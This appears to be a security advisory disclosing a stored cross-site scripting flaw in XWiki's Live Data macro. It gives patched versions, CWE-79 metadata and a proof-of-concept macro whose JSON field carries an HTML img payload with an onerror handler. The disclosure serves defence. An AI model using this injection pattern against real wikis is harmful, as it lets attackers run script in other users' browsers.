A user without script rights can introduce a stored XSS by using the Live Data macro.
For instance:
{{liveData id="movies" properties="title,description"}}
{
"data": {
"count": 1,
"entries": [
{
"title": "Meet John Doe",
"url": "https://www.imdb.com/title/tt0033891/",
"description": "<img onerror='alert(1)' src='foo' />"
}
]
},
"meta": {
"propertyDescriptors": [
{
"id": "title",
"name": "Title",
"visible": true,
"displayer": {"id": "link", "propertyHref": "url"}
},
{
"id": "description",
"name": "Description",
"visible": true,
"displayer": "html"
}
]
}
}
{{/liveData}}
This has been patched in XWiki 14.9, 14.4.7, and 13.10.10.
No known workaround.
https://jira.xwiki.org/browse/XWIKI-20143
If you have any questions or comments about this advisory: * Open an issue in Jira * Email us at Security ML
{ "nvd_published_at": "2023-03-02T18:15:00Z", "github_reviewed_at": "2023-03-03T22:53:51Z", "severity": "HIGH", "github_reviewed": true, "cwe_ids": [ "CWE-79" ] }